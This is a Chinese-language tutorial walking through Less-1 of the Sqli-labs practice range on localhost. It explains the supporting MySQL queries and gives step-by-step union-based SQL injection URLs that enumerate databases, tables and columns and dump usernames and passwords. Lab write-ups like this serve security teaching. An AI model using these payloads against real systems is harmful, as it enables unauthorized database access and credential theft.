前序

  • 该教程均使用火狐浏览器
  • HackBar自行从网络下载

    Sql注入简介

    Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

在进行注入之前,我们需要补充几个经常使用的mysql(高版本所使用的方法)操作

  • 查库:
    1. select schema_name from information_schema.schemata;
    结果为:
    Sqli-labs Less1教程 - 图1
  • 查表:(该查询为靶场使用的数据库security)
    1. select table_name from information_schema.tables where table_schema='security';
    结果为: Sqli-labs Less1教程 - 图2
  • 查列:
    1. select column_name from information_schema.columns where table_name='users';
    结果为:
    Sqli-labs Less1教程 - 图3
  • 查字段:
    1. select username,password from security.users;
    结果为:
    Sqli-labs Less1教程 - 图4

声明

由于我搭建了不同的靶场,以及测试数据库,所以查询的结果比较多,大家可以忽略其中的一些,只需要看与本靶场相关的表单数据即可。

Less1

image.png

输入?id=1后,sql语句如下,并成功取出数据

  1. SELECT * FROM users WHERE id='1' LIMIT 0,1;

输入?id=1’时出现报错,证明其存在注入漏洞,这时该SQL语句为

  1. SELECT * FROM users WHERE id='1'' LIMIT 0,1;

并且显示SQL语法错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1

输入?id=1’会出现错误,如果注释掉后面的会出现如何反应,所以我们采取 —+ 进行注释
在URL中输入:

  1. http://127.0.0.1/sqli-labs/Less-1/?id=1' --+

并未出现报错
image.png

所以根据第一次报错的SQL语法错误中我们可以得出该注入类型为字符型,LIMIT前面的’符号是为了闭合id=’

LIMIT 0,1是什么意思:
我们进行如下操作:
使用SQL语句:

  1. select * from users limit 0,1;

查询结果为:
Sqli-labs Less1教程 - 图7

继续使用语句:

  1. select * from users limit 1,1;

结果为:
Sqli-labs Less1教程 - 图8
继续使用语句:

  1. select * from users limit 0,2;

结果为:
Sqli-labs Less1教程 - 图9

由此我们可以得出结论LIMIT X,Y的意思为:

  • X:查询的第几行-1,也就是需要从第几行开始查询,第一行就1-1=0,X=0即可,第二行X=1即可
  • Y:查询的几行信息数(从当前位置往后数查询的ID个数),Y=1时则显示一个,Y=2时则显示两个,如上图所示
  • 所以如上图,结论所示:LIMIT 0,1的含义为查询ID为1的人的信息;LIMIT 0,2的意思为查询ID=1,ID=2的人的信息,并且显示出来

为了知道该表有几列数据,我们需要用order by进行对列排序。为了向大家阐述清楚,我们进入数据库进行操作。

首先不使用order by查询结果为;
Sqli-labs Less1教程 - 图10
使用之后的sql语句为:

  1. select * from users order by 1;

结果为(与上表一致,是因为在查询之前,开发者已经对ID进行了排序):
Sqli-labs Less1教程 - 图11

我们接着尝试其他关于order by语句的查询

  1. select * from users order by 2;

结果为:
Sqli-labs Less1教程 - 图12

由此可以看出order by能对属性列中的数据进行排序,如果进行查询时超出了属性列的大小,例如order by 4
则会出现报错,由此我们可以证明,所进行SQL注入的表中有几个属性列的数据。

所以在URL中输入:

  1. http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+

结果为:
image.png
在URL中输入order by 4,则会出现报错:
image.png
由此我们可以证明属性列有三列
所以在这之后我们要是用**union select** 进行查看回显
在URL中输入:

  1. http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3 --+

其结果为:
image.png
虽然注入正确,但是并未出现什么特殊回显;

但是当我们把URL中的id=1’变成id=-1时,出现回显:
image.png

由此我们要对union select语句进行分析,为什么要用该语句:
所以我们进行以下操作,深入查看union select语句的作用,究竟是干什么的;
使用该语句进行查询:

  1. select * from users limit 1,1 union select 1,2,3;

如果报错结果如下:
Sqli-labs Less1教程 - 图17

则应该更改语句为:

  1. (select * from users limit 1,1) union select 1,2,3;

结果为:
Sqli-labs Less1教程 - 图18

当我们使用该语句查询时:

  1. (select * from users where id=1) union select 1,2,3;

结果和靶场结果对应:Sqli-labs Less1教程 - 图19

在表中则是:
Sqli-labs Less1教程 - 图20

我们继续在表中使用sql语句,另id=-1,查看结果:
Sqli-labs Less1教程 - 图21

根据次结果,回到靶场进行操作:Sqli-labs Less1教程 - 图22
之所以得到该页面,我们可以理解为,在2,3位置我们可以进行使用,并且查看回显;
这就是union select查询的目的;

要进行下面的操作,我们需要了解几个常用的函数:

  1. system_user();
  2. user();
  3. current_user();
  4. database();
  5. version();
  6. @@datadir;
  7. @@version_compile_os;

我们来看一下这些函数是有什么作用:

  • system_user(); ——-显示系统用户root

    1. ![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617347906382-4b23a8dc-91b4-46ca-935a-b1bff5ecc6a1.png#height=149&id=2kQsp&originHeight=149&originWidth=395&originalType=binary&status=done&style=none&width=395)
  • user(); ——-显示的登录用户

    1. ![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348036017-40693dcb-6f7d-4817-983f-3045087078fb.png#height=145&id=WJSwC&originHeight=145&originWidth=318&originalType=binary&status=done&style=none&width=318)
  • current_user(); ——-显示当前用户

    1. ![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348169693-322117ac-3e5a-4ed1-90b3-e8a1f7a56294.png#height=159&id=S6U9M&originHeight=159&originWidth=361&originalType=binary&status=done&style=none&width=361)
  • database(); ———可以知道我们当前所使用的数据库

    1. ![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348227523-4bdc0622-a4e5-447e-872c-16d3bf43caab.png#height=153&id=2hIRF&originHeight=153&originWidth=371&originalType=binary&status=done&style=none&width=371)
  • version(); ———可以知道我们所使用的数据库的版本信息

    1. ![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348383824-161f39e6-f5c4-442f-9c9b-2de159c5d2cf.png#height=154&id=SaESh&originHeight=154&originWidth=318&originalType=binary&status=done&style=none&width=318)
  • @@datadir; ————可以知道MySql的安装路径

    1. ![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348563877-6c7facc6-c4b0-4c2a-90e6-16906e728019.png#height=144&id=NCpVv&originHeight=144&originWidth=537&originalType=binary&status=done&style=none&width=537)
  • @@version_compile_os; **———-可以知道当前的操作系统**

    1. ![](https://cdn.nlark.com/yuque/0/2021/png/2903465/1617348608599-51aade8a-509c-4d0d-a452-3006d476c5d9.png#height=149&id=4lATi&originHeight=149&originWidth=447&originalType=binary&status=done&style=none&width=447)

回到Less1
我们先进行查库操作,在URL中添加查库语句,并查看其返回结果:

  1. http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata --+

页面返回结果为:
image.png
由此我们可以看出,在Your Password位置上显示的是第一个数据库,因为之前已经证明过第三行只能显示一行数据,那我们可以根据之前所说的改变 limit X,Y中的X的值由此来找到我们所需要的数据信息

在URL后面添加不同的X值 Limit X,Y,也可以使用groupconcat()函数进行显示,在这里我使用group_concat()函数进行演示:** ——(这个函数groupconcat()__可以将所有数据连接进行拼接后,作为一行进行展示)**

  1. http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 11,1--+
  2. http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

结果为:
image.png

因为我们要对security数据库进行操作,所以继续使用该函数,进行查询security中的表单操作;
在URL中改变如下:

  1. http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

结果如下:
image.png
但是在这里,并不推荐使用单引号’security’来进行操作,因为单引号可能会出现一些问题,所以推荐使用十六进制,在 security前加 0x ,再将security转化为十六进制;
操作如下图:
Sqli-labs Less1教程 - 图26
得到结果:
Sqli-labs Less1教程 - 图27

之后进行查列的操作,更改URL为:

  1. http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

得到结果如下:
image.png

得到这些后,我们可以查询一下用户的密码,使用以下URL:

  1. http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users --+

查询结果是:
image.png
同理只需要更改URL其中的参数既可以查询到其他的信息,但是这些数据信息只显示在第三行的位置上,因此,我们要用其他的函数来实现,查询的信息;
该函数是:

  1. concat_ws('~',A,B);

那么查询的结果就是——— A~B、

在靶场使用一下,URL为:

  1. http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users --+

结果为:
image.png

由于只能显示两行信息,达不到我们的需求,所以,我们要结合之前的函数**group_concat()**进行查询:
URL:

  1. http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',username,password) )from security.users --+

结果为:
image.png

第一关到此也就结束了…